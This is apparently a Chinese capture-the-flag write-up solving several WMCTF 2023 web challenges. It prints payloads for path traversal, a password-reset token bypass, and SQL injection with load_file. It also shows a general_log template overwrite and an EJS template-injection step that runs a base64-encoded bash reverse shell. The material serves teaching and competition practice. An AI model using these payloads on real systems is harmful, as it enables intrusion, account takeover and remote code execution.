目录

AnyFileRead

/admin/../flag

抓个包,目录穿越读flag即可

ez_java_again

可以直接读flag

/Imagefile?url1=file:///%2566%256c%2561%2567%23java

是个非预期

你的权限放着我来

程序运⾏会默认⽣成4个账号,其中有个账号为管理员账号( jom@roomke.com)。重置管理员账号密码才能获取 flag。

  1. 注册账号,登录成功,登录成功右键查看源代码,可获取⽤户邮箱列表,其中包含管理员邮箱。

  2. 点击忘记密码按钮,进⼊密码找回⻚⾯,填写⾃⼰的邮箱。

  3. 邮箱收到重置密码链接,访问该链接,输⼊重置的密码,并进⾏抓包,抓到/api/change接⼝。

  4. token设置为空,并将邮箱更改为管理员邮箱,重放请求包即可获取flag。

ezblog

下载题目源码,分析

36行到135行的路由,用nodejs实现了werkzeug的console,类似Flask调试模式的console,这里需要鉴权才能进入console

image-20230822210059793

edit这个路由里,获取传入的id,并做查询, !/\d+/igm.test(id)用于检查id是否包含一个或多个数字,那么只要有数字就行,后面还有/into|outfile|dumpfile/igm.test(id),说明这里不能包含上述关键词

image-20230822214651435

再看getPostById方法,这里是直接将id拼接上去

image-20230822214825978

所以直接传/post/1'/edit就可以发现存在注入

image-20230822215021881

前面有说到鉴权,注释有说pinconsole出来,虽然注释不一定准,就是上面说没有sql注入(bushi

image-20230822215418419

这里确实会将pin输出

image-20230822215639905

搭建本地环境时可以发现,主程序启动的程序的日志在/home/ezblog/.pm2/logs/main-out.log

image-20230822215811130

题目过滤了into、outfile、dumpfile,但没过滤load_file,因此我们可以读文件拿pin:‘

读的文件是

/home/ezblog/.pm2/logs/main-out.log

十六进制编码一下

0x2f686f6d652f657a626c6f672f2e706d322f6c6f67732f6d61696e2d6f75742e6c6f67

结合上面的注入,payload就是

/post/-1%20union%20select%201,2,load_file(0x2f686f6d652f657a626c6f672f2e706d322f6c6f67732f6d61696e2d6f75742e6c6f67)/edit

查看源码可以看到pin

image-20230822220115392

e461aa6c-ba06-47db-b951-fb3bc85e96b8

拿到pin后可以直接console登录,进入调试器

image-20230822220619125

看代码发现python这个就是一个摆设

image-20230822220603449

但我们可以执行sql语句,有黑名单,不能用into,outfile,dumpfile

image-20230822220513511

现在思路是

  1. 利用SQLgeneral_log写文件到模板

  2. 模板注入完成RCE

    这里用general_log有个小坑,题目不带mysql数据库,不过我们自己创建一个即可(注意需要覆盖已有的ejs模板,不能新建ejs模板,否则会因为权限问题无法读取渲染模板):

    CREATE DATABASE mysql;
    CREATE TABLE mysql.general_log(
      event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
      user_host mediumtext NOT NULL,
      thread_id int(11) NOT NULL,
      server_id int(10) unsigned NOT NULL,
      command_type varchar(64) NOT NULL,
      argument mediumtext NOT NULL
    ) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log';
    SET GLOBAL general_log_file='/home/ezblog/views/post.ejs';
    SET GLOBAL general_log='on';
    SELECT "<% global.process.mainModule.require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx}|base64 -d|bash'); %>";
    

反弹shell拿flag即可

ezblog2

  • Hint:

    • hint1: in the intended solution, you archive RCE by doing “select ‘<%= process.mainModule.require(“child_process”).execSync("/readflag”).toString() %>’ into outfile ‘/home/ezblog/views/114.ejs’" and rendering template 114, but “into|outfile” is not allowed in the SQL console or by SQL injection.(预期解是通过执行select '<%= process.mainModule.require("child_process").execSync("/readflag").toString() %>' into outfile '/home/ezblog/views/114.ejs'并渲染114.ejs模板进行命令执行,但是into|outfile在SQL终端和SQL注入中不允许使用)
    • hint2: the mariadb patch disables the “BEGIN”, “CALL”, “EXECUTE”, “FUNCTION”, “IMMEDIATE”, “PREPARE”, “PROCEDURE”, “TRIGGER”, “TRIGGERS” keyword, they can be used to store sql statements. You can solve this challenge without using these keywords. The patch does not introduce new vulnerability.(MariaDB禁用了BEGIN、CALL、EXECUTE、FUNCTION、IMMEDIATE、PREPARE、PROCEDURE、TRIGGER、TRIGGERS这些关键字,这些可以存储SQL语句,解出此题无需利用这些关键字)
    • hint3: notice the –server-id=114 parameter of mysqld_safe.(关注mysqld_safe的参数–server-id=114)
  • 题目介绍:ezblog, now with more secure and less unintended(相比上一题有更多的安全限制)

diff --color -r env/docker/docker-compose.yml env2/docker/docker-compose.yml 
5c5 
<     image: wmctf2023_ezblog
--- 
>     image: wmctf2023_ezblog2
diff --color -r env/src/src/app.ts env2/src/src/app.ts
248a249,251
>     try{
>         child_process.execSync("chmod -R 444 /home/ezblog/views/*") 
>     } catch (e) { } 

前半部分是ezblog一样,拿到pin值

后面用不了general_log_file,用的是主从复制,师傅们tql

贴出大头师傅的wp,有空再学了,摸了。。

https://www.yuque.com/dat0u/ctf/llicuvep2fhtx77i